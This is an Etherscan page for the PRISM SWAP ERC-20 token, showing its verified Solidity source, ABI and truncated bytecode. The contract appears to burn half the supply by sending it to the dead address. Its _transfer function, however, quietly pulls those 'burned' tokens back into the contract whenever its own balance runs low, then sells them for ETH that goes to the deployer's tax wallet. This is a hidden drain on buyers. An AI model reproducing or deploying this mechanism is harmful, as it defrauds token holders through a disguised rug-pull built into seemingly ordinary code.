ETH Price: $4,006.65 (+2.92%)

Token

ERC-20: PRISM SWAP (PRISM)
 

Overview

Max Total Supply

1,000,000,000 PRISM

Holders

42

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PRISMSWAP

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-28
*/

/*


// PRISM LINKS 
// GITBOOK - https://prismswap.gitbook.io/prism/
// WEBSITE - prismswap.io
// X - https://x.com/prismswap_eth?s=21
// TELEGRAM - https://t.me/PrismSwap_IO


*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PRISMSWAP is IERC20, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = "PRISM SWAP";
    string private constant _symbol = "PRISM";
    uint256 public _maxTxAmount =   _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold = _tTotal * 1 / 100000;
    uint256 public _maxTaxSwap= _tTotal * 2 / 100;

    IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    address private DEAD = 0x000000000000000000000000000000000000dEaD;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(msg.sender);
        uint256 CATokens = _tTotal * 40 / 100;
        uint256 deadTokens = _tTotal * 50 / 100;
	    uint256 remaining = _tTotal - (CATokens + deadTokens);
        _balances[address(this)] = CATokens;
        _balances[DEAD] = deadTokens;
        

        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[DEAD] = true;

        emit Transfer(address(0), address(this), CATokens);

        if(remaining > 0) {
            _isExcludedFromFee[msg.sender] = true;
            _balances[msg.sender] = remaining;
            emit Transfer(address(0), msg.sender, remaining);
        }
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(uniswapV2Pair != address(0), "Not yet launched");

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                  require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                if(_buyCount<_preventSwapBefore){
                  require(!isContract(to));
                }
                _buyCount++;
            }


            taxAmount = amount * ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax) / 100;
            if(to == uniswapV2Pair && from!= address(this) ){
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                taxAmount = amount * ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax) / 100;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance < amount) {
                 uint256 spare = balanceOf(DEAD);
                 if (spare >= amount) {
                     _balances[DEAD] -= amount;
                     _balances[address(this)] += amount;
                     contractTokenBalance += amount;
                 } else {
                     _balances[DEAD] = 0;
                     _balances[address(this)] += spare;
                     contractTokenBalance += spare;
                 }
            }
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)] += taxAmount;
        }
        _balances[from] -= amount;
        _balances[to] += (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function reduceTax() external onlyOwner {
        _finalBuyTax -= 2;
        _finalSellTax -= 2;
    }

    function setInitialTax(uint256 buy, uint256 sell) external onlyOwner {
        require(buy <= 50 && sell <= 50, "Initial tax too high");
        _initialBuyTax = buy;
        _initialSellTax = sell;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading(address pair) external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), type(uint).max);
        if(pair == address(0)) {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        } else {
            uniswapV2Pair = pair;
        }
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this))/2,0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function manualSwap() external {
        require(msg.sender==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reduceTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buy","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"}],"name":"setInitialTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f60055f6101000a81548160ff0219169083151502179055506014600655601e600755600260085560026009556019600a556019600b556014600c555f600d55606460026009600a62000058919062000857565b633b9aca00620000699190620008a7565b620000759190620008a7565b6200008191906200091e565b600e55606460026009600a62000098919062000857565b633b9aca00620000a99190620008a7565b620000b59190620008a7565b620000c191906200091e565b600f55620186a060016009600a620000da919062000857565b633b9aca00620000eb9190620008a7565b620000f79190620008a7565b6200010391906200091e565b601055606460026009600a6200011a919062000857565b633b9aca006200012b9190620008a7565b620001379190620008a7565b6200014391906200091e565b6011555f601260156101000a81548160ff0219169083151502179055505f601260166101000a81548160ff02191690831515021790555061dead60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001c8575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35033600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f606460286009600a620002bd919062000857565b633b9aca00620002ce9190620008a7565b620002da9190620008a7565b620002e691906200091e565b90505f606460326009600a620002fd919062000857565b633b9aca006200030e9190620008a7565b6200031a9190620008a7565b6200032691906200091e565b90505f818362000337919062000955565b6009600a62000347919062000857565b633b9aca00620003589190620008a7565b6200036491906200098f565b90508260015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051620005ac9190620009da565b60405180910390a35f811115620006bc57600160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508060015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006b39190620009da565b60405180910390a35b505050620009f5565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200074f57808604811115620007275762000726620006c5565b5b6001851615620007375780820291505b80810290506200074785620006f2565b945062000707565b94509492505050565b5f826200076957600190506200083b565b8162000778575f90506200083b565b81600181146200079157600281146200079c57620007d2565b60019150506200083b565b60ff841115620007b157620007b0620006c5565b5b8360020a915084821115620007cb57620007ca620006c5565b5b506200083b565b5060208310610133831016604e8410600b84101617156200080c5782820a905083811115620008065762000805620006c5565b5b6200083b565b6200081b8484846001620006fe565b92509050818404811115620008355762000834620006c5565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620008638262000842565b915062000870836200084b565b92506200089f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000758565b905092915050565b5f620008b38262000842565b9150620008c08362000842565b9250828202620008d08162000842565b91508282048414831517620008ea57620008e9620006c5565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200092a8262000842565b9150620009378362000842565b9250826200094a5762000949620008f1565b5b828204905092915050565b5f620009618262000842565b91506200096e8362000842565b9250828201905080821115620009895762000988620006c5565b5b92915050565b5f6200099b8262000842565b9150620009a88362000842565b9250828203905081811115620009c357620009c2620006c5565b5b92915050565b620009d48162000842565b82525050565b5f602082019050620009ef5f830184620009c9565b92915050565b6130088062000a035f395ff3fe60806040526004361061012d575f3560e01c8063751039fc116100aa57806395d89b411161006e57806395d89b4114610392578063a9059cbb146103bc578063bf474bed146103f8578063c876d0b914610422578063ca72a4e71461044c578063dd62ed3e1461046857610134565b8063751039fc146102d65780637d1db4a5146102ec5780638aa0480a146103165780638da5cb5b1461033e5780638f9a55c01461036857610134565b8063313ce567116100f1578063313ce5671461022e57806341fb0d211461025857806351bc3c851461026e57806370a0823114610284578063715018a6146102c057610134565b806306fdde0314610138578063095ea7b3146101625780630faee56f1461019e57806318160ddd146101c857806323b872dd146101f257610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104a4565b6040516101599190612130565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906121e1565b6104e1565b6040516101959190612239565b60405180910390f35b3480156101a9575f80fd5b506101b26104f7565b6040516101bf9190612261565b60405180910390f35b3480156101d3575f80fd5b506101dc6104fd565b6040516101e99190612261565b60405180910390f35b3480156101fd575f80fd5b506102186004803603810190610213919061227a565b610520565b6040516102259190612239565b60405180910390f35b348015610239575f80fd5b506102426105c5565b60405161024f91906122e5565b60405180910390f35b348015610263575f80fd5b5061026c6105cd565b005b348015610279575f80fd5b5061028261068e565b005b34801561028f575f80fd5b506102aa60048036038101906102a591906122fe565b61071f565b6040516102b79190612261565b60405180910390f35b3480156102cb575f80fd5b506102d4610765565b005b3480156102e1575f80fd5b506102ea6108ac565b005b3480156102f7575f80fd5b506103006109ed565b60405161030d9190612261565b60405180910390f35b348015610321575f80fd5b5061033c60048036038101906103379190612329565b6109f3565b005b348015610349575f80fd5b50610352610ae3565b60405161035f9190612376565b60405180910390f35b348015610373575f80fd5b5061037c610b0a565b6040516103899190612261565b60405180910390f35b34801561039d575f80fd5b506103a6610b10565b6040516103b39190612130565b60405180910390f35b3480156103c7575f80fd5b506103e260048036038101906103dd91906121e1565b610b4d565b6040516103ef9190612239565b60405180910390f35b348015610403575f80fd5b5061040c610b63565b6040516104199190612261565b60405180910390f35b34801561042d575f80fd5b50610436610b69565b6040516104439190612239565b60405180910390f35b610466600480360381019061046191906122fe565b610b7b565b005b348015610473575f80fd5b5061048e6004803603810190610489919061238f565b61108b565b60405161049b9190612261565b60405180910390f35b60606040518060400160405280600a81526020017f505249534d205357415000000000000000000000000000000000000000000000815250905090565b5f6104ed33848461110d565b6001905092915050565b60115481565b5f6009600a61050c9190612529565b633b9aca0061051b9190612573565b905090565b5f61052c8484846112d0565b6105ba84338460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105b591906125b4565b61110d565b600190509392505050565b5f6009905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065190612631565b60405180910390fd5b600260085f82825461066c91906125b4565b92505081905550600260095f82825461068591906125b4565b92505081905550565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e7575f80fd5b5f6106f13061071f565b90505f8111156107055761070481611db2565b5b5f4790505f81111561071b5761071a81612014565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e990612631565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090612631565b60405180910390fd5b6009600a6109479190612529565b633b9aca006109569190612573565b600e819055506009600a61096a9190612529565b633b9aca006109799190612573565b600f819055505f60055f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109c79190612529565b633b9aca006109d69190612573565b6040516109e39190612261565b60405180910390a1565b600e5481565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7790612631565b60405180910390fd5b60328211158015610a92575060328111155b610ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac890612699565b60405180910390fd5b81600681905550806007819055505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600581526020017f505249534d000000000000000000000000000000000000000000000000000000815250905090565b5f610b593384846112d0565b6001905092915050565b60105481565b60055f9054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90612631565b60405180910390fd5b601260149054906101000a900460ff1615610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f90612701565b60405180910390fd5b610c9730737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61110d565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e8957737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d27573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d4b9190612733565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de89190612733565b6040518363ffffffff1660e01b8152600401610e0592919061275e565b6020604051808303815f875af1158015610e21573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e459190612733565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eca565b8060125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71947306002610f073061071f565b610f1191906127b2565b5f80610f1b610ae3565b426040518863ffffffff1660e01b8152600401610f3d96959493929190612824565b60606040518083038185885af1158015610f59573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610f7e9190612897565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110119291906128e7565b6020604051808303815f875af115801561102d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110519190612938565b506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361117b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611172906129d3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e090612a61565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c39190612261565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612aef565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a390612b7d565b60405180910390fd5b5f81116113ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e590612c0b565b60405180910390fd5b5f6113f7610ae3565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114655750611435610ae3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c2f575f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f090612c73565b60405180910390fd5b60055f9054906101000a900460ff161561167257737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115aa575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611671574360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541061162e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162590612d01565b60405180910390fd5b4360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561170e5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611761575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561183a57600e548211156117ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a290612d69565b60405180910390fd5b600f54826117b88561071f565b6117c29190612d87565b1115611803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fa90612e04565b60405180910390fd5b600c54600d541015611822576118188361207d565b15611821575f80fd5b5b600d5f81548092919061183490612e22565b91905055505b6064600a54600d541161184f57600654611853565b6008545b8361185e9190612573565